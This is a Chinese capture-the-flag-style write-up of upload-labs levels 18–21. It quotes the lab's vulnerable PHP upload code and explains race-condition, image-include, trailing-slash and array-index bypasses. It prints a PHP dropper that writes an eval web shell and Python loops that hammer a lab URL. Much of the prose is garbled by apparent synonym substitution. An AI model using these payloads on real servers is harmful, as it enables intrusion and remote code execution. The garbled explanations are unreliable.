upload-labs(Pass-18 ~ Pass-21)

1、Pass-18(条件竞争)

1、标题须要举行代码审计：

2. <?php
3. include '../config.php';
4. include '../head.php';
5. include '../menu.php';
7. $is_upload = false;
8. $msg = null;
10. if(isset($_POST['submit'])){
11.     $ext_arr = array('jpg','png','gif');//白名单
12.     $file_name = $_FILES['upload_file']['name'];
13.     $temp_file = $_FILES['upload_file']['tmp_name'];
14.     $file_ext = substr($file_name,strrpos($file_name,".")+1);
15.     $upload_file = UPLOAD_PATH . '/' . $file_name;//得到上传路径，即为upload/ + 文件名
17.     if(move_uploaded_file($temp_file, $upload_file)){//上传文件，即将文件上传到$upload_file目录下
18.         if(in_array($file_ext,$ext_arr)){//匹配白名单，若该文件后缀在白名单中则进入
19.              $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
20.              rename($upload_file, $img_path);//修改文件名
21.              $is_upload = true;
22.         }else{
23.             $msg = "只允许上传.jpg|.png|.gif类型文件！";
24.             unlink($upload_file);//删除该文件
25.         }
26.     }else{
27.         $msg = '上传出错！';
28.     }
29. }
30. ?>

复制代码

以是我们只要上传的文件后缀不是白名单中的，该文件就照旧会被删除
2、思绪：
我们可以上传一个php文件此中代码为：

2. <?php
3. fputs(fopen("shell.php","w"),"<?php @eval(\$_POST[1]);?>");
4. ?>

复制代码

由于该文件后缀不是白名单中的，该文件就照旧会被删除；
但是，服务器删除该php文件是有肯定的延长的，若我们在这延长中访问了该php代码，那么就会在当前目次天生shell.php文件
3、实践：
(1)、抓包进入爆破模块：

(2)发包：

 此时就在源源不停的上传文件1.php，服务器也在不绝删除该文件；
与此同时，我们得不停访问该文件，可以写个python脚原来访问：

2. import requests
4. while 1:
5.     url = "http://192.168.80.128/upload-labs/upload/1.php" #填入url
7.     html = requests.get(url)
8.     print(html.text)

复制代码

(3)、访问shell.php：

2、Pass-19(条件竞争 + 图片马) 

注：
本题代码有一处有点标题须要修改，即myupload.php中：

2. function setDir( $dir ){
3.    
4.     if( !is_writable( $dir ) ){
5.       return "DIRECTORY_FAILURE";
6.     } else {
7.       $this->cls_upload_dir = $dir . '/';//设置文件夹，需要后面加上'/'
8.       return 1;
9.     }
10.   }

复制代码

1、举行代码分析：
index.php：

2. <?php
3. include '../config.php';
4. include '../head.php';
5. include '../menu.php';
7. $is_upload = false;
8. $msg = null;
9. if (isset($_POST['submit']))
10. {
11.     require_once("./myupload.php");
12.     $imgFileName =time();
13.     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);//调用myupload.php的MyUpload方法传入参数
14.     $status_code = $u->upload(UPLOAD_PATH);//调用myupload.php的upload方法处理文件
15.     switch ($status_code) {
16.         case 1:
17.             $is_upload = true;
18.             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
19.             break;
20.         case 2:
21.             $msg = '文件已经被上传，但没有重命名。';
22.             break;
23.         case -1:
24.             $msg = '这个文件不能上传到服务器的临时文件存储目录。';
25.             break;
26.         case -2:
27.             $msg = '上传失败，上传目录不可写。';
28.             break;
29.         case -3:
30.             $msg = '上传失败，无法上传该类型文件。';
31.             break;
32.         case -4:
33.             $msg = '上传失败，上传的文件过大。';
34.             break;
35.         case -5:
36.             $msg = '上传失败，服务器已经存在相同名称文件。';
37.             break;
38.         case -6:
39.             $msg = '文件无法上传，文件不能复制到目标目录。';
40.             break;      
41.         default:
42.             $msg = '未知错误！';
43.             break;
44.     }
45. }
46. ?>

复制代码

myupload.php(带解释)：

2. <?php
4. class MyUpload{   
6.   var $cls_upload_dir = "";         // Directory to upload to.
7.         var $cls_filename = "";           // Name of the upload file.
8.         var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
9.   var $cls_max_filesize = 33554432; // Max file size.
10.   var $cls_filesize ="";            // Actual file size.
11.   var $cls_arr_ext_accepted = array(
12.       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
13.       ".html", ".xml", ".tiff", ".jpeg", ".png" );
14.   var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.(当设置参数值为1时，就会在上传前检查文件是否存在)
15.   var $cls_rename_file = 1;         // Set to 1 to rename file after upload.(当设置参数值为1时，就会在上传文件之后修改文件名)
16.   var $cls_file_rename_to = '';     // New name for the file after upload.
17.   var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.
19.   /** constructor()
20.    **
21.    ** @para String File name
22.    ** @para String Temp file name
23.    ** @para Int File size
24.    ** @para String file rename to
25.   **/
26.   function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
27.   
28.     $this->cls_filename = $file_name;//文件名
29.     $this->cls_tmp_filename = $tmp_file_name;//临时文件名
30.     $this->cls_filesize = $file_size;//文件大小
31.     $this->cls_file_rename_to = $file_rename_to;//文件重命名
32.   }
34.   /** isUploadedFile()
35.    **
36.    ** Method to wrap php 4.0.3 is_uploaded_file fct
37.    ** It will return an error code if the file has not been upload to /tmp on the web server
38.    ** (look with phpinfo() fct where php store tmp uploaded file)
39.    ** @returns string
40.   **/
41.   function isUploadedFile(){
42.    
43.     if( is_uploaded_file( $this->cls_tmp_filename ) != true ){//is_uploaded_file() 函数判断指定的文件是否是通过 HTTP POST 上传的
44.       return "IS_UPLOADED_FILE_FAILURE";
45.     } else {
46.       return 1;
47.     }
48.   }
50.   /** setDir()
51.    **
52.    ** Method to set the directory we will upload to.
53.    ** It will return an error code if the dir is not writable.
54.    ** @para String name of directory we upload to
55.    ** @returns string
56.   **/
57.   function setDir( $dir ){
58.    
59.     if( !is_writable( $dir ) ){
60.       return "DIRECTORY_FAILURE";
61.     } else {
62.       $this->cls_upload_dir = $dir . '/';//若upload文件在存在，设置$this->cls_upload_dir=upload
63.       return 1;
64.     }
65.   }
67.   /** checkExtension()
68.    **
69.    ** Method to check if we accept the file extension.
70.    ** @returns string
71.   **/
72.   function checkExtension(){//检查扩展名
73.    
74.     // Check if the extension is valid
76.     if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
77.       return "EXTENSION_FAILURE";
78.     } else {
79.       return 1;
80.     }
81.   }
83.   /** checkSize()
84.    **
85.    ** Method to check if the file is not to big.
86.    ** @returns string
87.   **/
88.   function checkSize(){//大小要小于33554432
90.     if( $this->cls_filesize > $this->cls_max_filesize ){
91.       return "FILE_SIZE_FAILURE";
92.     } else {
93.       return 1;
94.     }
95.   }
97.   /** move()
98.    **
99.    ** Method to wrap php 4.0.3 fct move_uploaded_file()
100.    ** @returns string
101.   **/
102.   function move(){//上传文件
103.    
104.     if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
105.       return "MOVE_UPLOADED_FILE_FAILURE";
106.     } else {
107.       return 1;
108.     }
110.   }
112.   /** checkFileExists()
113.    **
114.    ** Method to check if a file with the same name exists in
115.    ** destination folder.
116.    ** @returns string
117.   **/
118.   function checkFileExists(){//检查在upload目录下文件是否已经存在
119.    
120.     if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
121.       return "FILE_EXISTS_FAILURE";
122.     } else {
123.       return 1;
124.     }
125.   }
127.   /** renameFile()
128.    **
129.    ** Method to rename the uploaded file.
130.    ** If no name was provided with the constructor, we use
131.    ** a random name.
132.    ** @returns string
133.   **/
135.   function renameFile(){//进行修改文件名
137.     // if no new name was provided, we use
139.     if( $this->cls_file_rename_to == '' ){//未设置文件名
141.       $allchar = "abcdefghijklnmopqrstuvwxyz" ;
142.       $this->cls_file_rename_to = "" ;
143.       mt_srand (( double) microtime() * 1000000 );
144.       for ( $i = 0; $i<8 ; $i++ ){
145.         $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
146.       }
147.     }   
148.    
149.     // Remove the extension and put it back on the new file name
150.                
151.     $extension = strrchr( $this->cls_filename, "." );
152.     $this->cls_file_rename_to .= $extension;
153.    
154.     if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
155.       return "RENAME_FAILURE";
156.     } else {
157.       return 1;
158.     }
159.   }
160.   
161.   /** upload()
162.    **
163.    ** Method to upload the file.
164.    ** This is the only method to call outside the class.
165.    ** @para String name of directory we upload to
166.    ** @returns void
167.   **/
168.   function upload( $dir ){//index.php调用了upload方法，并传入$dir='upload'
169.    
170.     $ret = $this->isUploadedFile();//判断文件是否是正常上传过来的，若是则$ret=1
171.    
172.     if( $ret != 1 ){//若文件不是正常上传过来的，通过resultUpload方法返回指定数值
173.       return $this->resultUpload( $ret );
174.     }
176.     $ret = $this->setDir( $dir );//设置上传文件夹，成功返回$ret=1
177.     if( $ret != 1 ){//出错返回
178.       return $this->resultUpload( $ret );
179.     }
181.     $ret = $this->checkExtension();//检查上传文件的后缀是否在白名单中
182.     if( $ret != 1 ){//不在返回出错
183.       return $this->resultUpload( $ret );
184.     }
186.     $ret = $this->checkSize();//检查文件大小
187.     if( $ret != 1 ){//太大返回出错
188.       return $this->resultUpload( $ret );   
189.     }
190.    
191.     // if flag to check if the file exists is set to 1
192.    
193.     if( $this->cls_file_exists == 1 ){
194.       
195.       $ret = $this->checkFileExists();//若文件已经存在返回出错
196.       if( $ret != 1 ){
197.         return $this->resultUpload( $ret );   
198.       }
199.     }
201.     // if we are here, we are ready to move the file to destination
203.     $ret = $this->move();//将文件上传到upload目录下
204.     if( $ret != 1 ){//出错返回
205.       return $this->resultUpload( $ret );   
206.     }
208.     // check if we need to rename the file
210.     if( $this->cls_rename_file == 1 ){
211.       $ret = $this->renameFile();
212.       if( $ret != 1 ){//出错返回
213.         return $this->resultUpload( $ret );   
214.       }
215.     }
216.    
217.     // if we are here, everything worked as planned :)
219.     return $this->resultUpload( "SUCCESS" );//返回成功
220.   
221.   }
223.   /** resultUpload()
224.    **
225.    ** Method that returns the status of the upload
226.    ** (You should put cls_verbal to 1 during debugging...)
227.    ** @para String Status of the upload
228.    ** @returns mixed (int or string)
229.   **/
230.   function resultUpload( $flag ){
232.     switch( $flag ){
233.       case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
234.         break;
235.       case "DIRECTORY_FAILURE"        : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
236.         break;
237.       case "EXTENSION_FAILURE"        : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
238.         break;
239.       case "FILE_SIZE_FAILURE"        : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
240.         break;
241.       case "FILE_EXISTS_FAILURE"      : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
242.         break;
243.       case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
244.         break;
245.       case "RENAME_FAILURE"           : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
246.         break;
247.       case "SUCCESS"                  : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
248.         break;
249.       default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
250.         break;
251.     }
252.   }
254. }; // end class
256. // exemple
257. /*
259. if( $_POST['submit'] != '' ){
261.   $u = new MyUpload( $_FILES['image']['name'], $_FILES['image']['tmp_name'], $_FILES['image']['size'], "thisname" );
262.   $result = $u->upload( "../image/upload/" );
263.   print $result;
265. }
267. print "<br><br>\n";
268. print "<form enctype='multipart/form-data' method='post' action='". $PHP_SELF ."'>\n";
269. print "<input type='hidden' name='MAX_FILE_SIZE' value='200000'>\n";
270. print "<input type='file' name='image'>\n";
271. print "<input type='submit' value='Upload' name='submit'>\n";
272. print "</form>\n";
273. */
274. ?>

复制代码

可知代码的思绪是：查抄文件巨细，后缀等信息，不符合则上传失败，若上传乐成则随机化文件名(即在现实中，我们不知道文件名；但本题可以知道，我们以不知道来举行解答)
2、以是思绪是，我们上传一个图片马，在服务器修改文件名的间隙，通过文件包罗毛病，向服务器写入一个后门
3、实践：
操纵跟上一关差不多

使用python文件举行包罗：

2. import requests
4. while 1:
5.     url = "http://192.168.80.128/upload-labs/include.php?file=./upload/2.png" #填入url
7.     html = requests.get(url)
8.     print(html.text)

复制代码

这里是否写入也是概率标题，多跑频频
3、Pass-20(上传文件名可控move_uploaded_file)

 1、本题我们可以恣意写出我们想要上传的文件名，由于move_uploaded_file会忽略末了的/.，举行后缀获取的时间，获取到空，以是也可以用来绕过黑名单；

输出后缀：

可知为空 
2、上传：

访问：

 4、Pass-21(逻辑毛病)

1、代码分析：

2. <?php
3. include '../config.php';
4. include '../common.php';
5. include '../head.php';
6. include '../menu.php';
8. if (isset($_POST['submit'])) {
9.     if (file_exists(UPLOAD_PATH)) {
11.         $is_upload = false;
12.         $msg = null;
13.         if(!empty($_FILES['upload_file'])){
14.             //mime check
15.             $allow_type = array('image/jpeg','image/png','image/gif');
16.             if(!in_array($_FILES['upload_file']['type'],$allow_type)){
17.                 $msg = "禁止上传该类型文件!";
18.             }else{
19.                 //check filename
20.                 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
21.                 if (!is_array($file)) {//若$file不为数组,则将$file以点分开,得到字符串数组
22.                     $file = explode('.', strtolower($file));
23.                 }
25.                 $ext = end($file);//获取数组的最后一位
26.                 $allow_suffix = array('jpg','png','gif');//白名单
27.                 if (!in_array($ext, $allow_suffix)) {
28.                     $msg = "禁止上传该后缀文件!";
29.                 }else{
30.                     $file_name = reset($file) . '.' . $file[count($file) - 1];//取数组第一个元素和最后一个拼接
31.                     $temp_file = $_FILES['upload_file']['tmp_name'];
32.                     $img_path = UPLOAD_PATH . '/' .$file_name;
33.                     if (move_uploaded_file($temp_file, $img_path)) {
34.                         $msg = "文件上传成功！";
35.                         $is_upload = true;
36.                     } else {
37.                         $msg = "文件上传失败！";
38.                     }
39.                 }
40.             }
41.         }else{
42.             $msg = "请选择要上传的文件！";
43.         }
44.         
45.     } else {
46.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
47.     }
48. }
50. ?>

复制代码

2、我将代码简化，上面代码逻辑等同于：

2. <?php
3. $name=$_GET['name'];//输入的文件名
4. $ext=end($name);//取最后一个元素
5. $allow_suffix = array('jpg','png','gif');//白名单
6.                 if (!in_array($ext, $allow_suffix)) {
7.                     $msg = "禁止上传该后缀文件!";
8.                 }else{
9.                     $file_name = reset($name) . '.' . $name[count($name) - 1];//取数组第一个元素和最后一个拼接
10.                     echo count($name) . '</br>';
11.                     echo $file_name . '</br>';
12.                 }
14. var_dump($name);
15. ?>

复制代码

此中
end函数：取末了一个元素
reset：取第一个元素
以是我们的思绪是：我们本身传入数组，不消代码中的explode举行分割形成数组。
由于有黑名单，以是我们输入的数组末了一个元素必须为jpg、png大概gif 
而这里的所及毛病是反面的文件名拼接，文件后缀是取数组元素减一所指的元素，若我们让数组本身元素少于下标末了绕过；

3、实践：

 4、访问：